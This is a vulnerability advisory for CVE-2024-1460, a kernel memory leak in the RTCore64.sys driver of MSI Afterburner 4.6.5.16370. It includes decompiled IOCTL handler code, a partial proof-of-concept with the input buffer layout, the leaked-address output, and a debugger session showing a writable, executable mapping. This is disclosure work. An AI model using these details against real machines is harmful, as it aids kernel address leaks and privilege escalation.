MSI Afterburner v4.6.5.16370 - KM Leak

Summary


Name	MSI Afterburner v4.6.5.16370 - Kernel Memory Leak
Code name	Mingus
Product	MSI Afterburner
Vendor	Micro-Star INT'L CO.
Affected versions	Version 4.6.5.16370
State	Public
Release date	2024-03-06

Vulnerability


Kind	Kernel Memory Leak
Rule	037. Technical Information Leak
Remote	No
CVSSv3 Vector	CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:H
CVSSv3 Base Score	5.6
Exploit available	Yes
CVE ID(s)	CVE-2024-1460

Description

MSI Afterburner v4.6.5.16370 is vulnerable to a Kernel Memory Leak vulnerability by triggering the 0x80002040 IOCTL code of the RTCore64.sys driver.

Vulnerability

The 0x80002040 IOCTL code of the RTCore64.sys driver allows map up to 0x20000 of a physical address from range 0xC0000 to 0xE0000 on a non-paged virtual kernel memory range whose address can be leaked. That physical range is commonly used to store BIOS information of the device's motherboard.

The handling decompiled code of the 0x80002040 IOCTL starts with:

case 0x80002040: if ( Options == 0x30 ) // [1] { v33 = sub_11388(SystemBuffer); // [2] pIrp->IoStatus.Status = v33;

At [1] a check is made on the InputBufferLength parameter of the IOCTL request call. If it's equal to 0x30 bytes, the function sub_11388 is called at [2] with the SystemBuffer as a parameter.

Inside sub_11388, a call to sub_11044 is performed and the code checks if the returned value is not NULL:

if ( !sub_11044(*(_QWORD *)SystemBuffer, *(_DWORD *)(SystemBuffer + 0x10), (ULONG *)(SystemBuffer + 0x20)) )
    return 0xC0000001i64;

The only condition that returns not NULL at sub_11044 is:

if ( SystemBuffer >= 0xC0000 && SystemBuffer + PhysAddressOffset <= 0xE0000 )
    return 1;

After that check the code that follows on sub_11388 is:

pSystemBuffer = *(_QWORD *)SystemBuffer;
AddressSpace = 0;
if ( !HalTranslateBusAddress(Isa, 0, (PHYSICAL_ADDRESS)pSystemBuffer, &AddressSpace, &PhysicalAddress) )
    return 0xC000009Ai64;
v4 = MmMapIoSpace(PhysicalAddress, *(unsigned int *)(SystemBuffer + 0x10), MmNonCached);  // [1]
if ( !v4 )
    return 0xC000009Ai64;
*(_QWORD *)(SystemBuffer + 8) = v4;  // [2]

At [1] the code uses MmMapIoSpace() to map the physical address range from 0xC0000 up to the offset passed on SystemBuffer + 0x10. At [2] the code writes to SystemBuffer + 0x8 the address returned by MmMapIoSpace().

A snipped of the Proof-of-Concept that passes all the checks is:

SIZE_T inputSize = 0x30;
...
ULONGLONG outbuf_allocation_addr = 0x00000000000C0000;
...
((PDWORD64)((DWORD64)inBuf + 0x0))[0] = (ULONGLONG)outBuf;
((PDWORD64)((DWORD64)inBuf + 0x10))[0] = (ULONGLONG)0x000000000001F000;

The output of the Proof-of-Concept is:

PS C:\Users\admin\Desktop> .\PoC.exe

[+] Bytes sent: 48 (0x30)
[+] Bytes returned: 48 (0x30)
[+] Leaked address FFFF9F80C64C0000 (SystemBuffer + 0x8)
[+] Output (0): 00000000000C0000
[+] Output (8): FFFF9F80C64C0000
[+] Output (16): 000000000001F000
[+] Output (24): 4444444444444444
[+] Output (32): 4545454545454545
[+] Output (40): 0000000146464646

In the debugging session, the contents of the mapped address can be seen. It contains strings like VESA and VBE2 which are part of the BIOS of the GPU's motherboard used. The mapped address is also executable E(1) and writable W(1):

0: kd> !process 0 0 poc.exe PROCESS ffffb30d35432080 SessionId: 1 Cid: 1354 Peb: a4c8e97000 ParentCid: 08bc DirBase: 1479d1000 ObjectTable: ffff8c0ee3f5d8c0 HandleCount: 43. Image: PoC.exe 0: kd> ba e1 /p ffffb30d35432080 rtcore64+13df 0: kd> g Breakpoint 0 hit RTCore64+0x13df: fffff807`715b13df ff154b1c0000 call qword ptr [RTCore64+0x3030 (fffff807`715b3030)] 1: kd> dps fffff807`715b3030 L1 fffff807`715b3030 fffff807`7555f0b0 nt!MmMapIoSpace 1: kd> p RTCore64+0x13e5: fffff807`715b13e5 4885c0 test rax,rax 1: kd> dc @rax L50 ffff9f80`c64c0000 cb80aa55 804f05b8 097400fc 0f4ffc80 U.....O...t...O. ffff9f80`c64c0010 cf00ac84 0f033ccf 3c00a084 60f57512 .....<.....<.u.` ffff9f80`c64c0020 40ba5066 01b86620 66000000 c8fe42ef fP.@ f.....f.B.. ffff9f80`c64c0030 5866ef66 b003c2ba c6baeee3 eeffb003 f.fX............ ffff9f80`c64c0040 3103c8ba b942eec0 82e80040 e2c4fe03 ...1..B.@....... ffff9f80`c64c0050 0473bff9 ba0005b9 66e803c4 04a6bf03 ..s........f.... ffff9f80`c64c0060 ba0009b9 5ae803ce 0491bf03 ba0015b9 .......Z........ ffff9f80`c64c0070 c0bb03da 50c03003 da8758ec 8a2e50ee .....0.P.X...P.. ffff9f80`c64c0080 58ee4705 da87c0fe 87ecede2 ee20b0da .G.X.......... . ffff9f80`c64c0090 b90478bf d4ba0019 7f11b803 1165222e .x..........."e. ffff9f80`c64c00a0 031fe8ef a000b806 bffcc08e 00b90000 ................ ffff9f80`c64c00b0 f3c03180 b86107ab b8cf0050 3ccf0050 .1....a.P...P..< ffff9f80`c64c00c0 3c1c7400 88840f01 0f023c00 3c01a884 .t.<.....<.....< ffff9f80`c64c00d0 2e840f03 0f093c02 b8023184 66cf014f .....<...1..O..f ffff9f80`c64c00e0 c08c1e50 8b66d88e 562d6605 66324542 P.....f..f-VBE2f ffff9f80`c64c00f0 455605c7 45c74153 c7020004 04af0645 ..VESA.E....E... ffff9f80`c64c0100 66084d8c 030a45c7 c7000000 05900e45 .M.f.E......E... ffff9f80`c64c0110 66104d8c 400000b8 e8c16600 12458910 [email protected]. ffff9f80`c64c0120 001445c7 1645c701 4d8c04b6 1a45c718 .E....E....M..E. ffff9f80`c64c0130 4d8c04bd 1e45c71c 4d8c04cb 2245c720 ...M..E....M .E" 0: kd> !ptev2(0xffff9f80c64c0000)
Virtual address: -106099545210880
Pml 4 address: 0x2e6d68000
Level: 4, Entry Address: 0x2e6d689f8
Value = 0xa00000004731863
    P(1), W(1), E(1), A(1), D(1), K(1), Large(0)
    Pfn: 0x4731

Level: 3, Entry Address: 0x4731018
Value = 0xa00000004732863
    P(1), W(1), E(1), A(1), D(1), K(1), Large(0)
    Pfn: 0x4732

Level: 2, Entry Address: 0x4732190
Value = 0xa000002e8a85863
    P(1), W(1), E(1), A(1), D(1), K(1), Large(0)
    Pfn: 0x2e8a85

Level: 1, Entry Address: 0x2e8a85600
Value = 0xa000000000c0b63
    P(1), W(1), E(1), A(1), D(1), K(1), Large(0)
    Pfn: 0xc0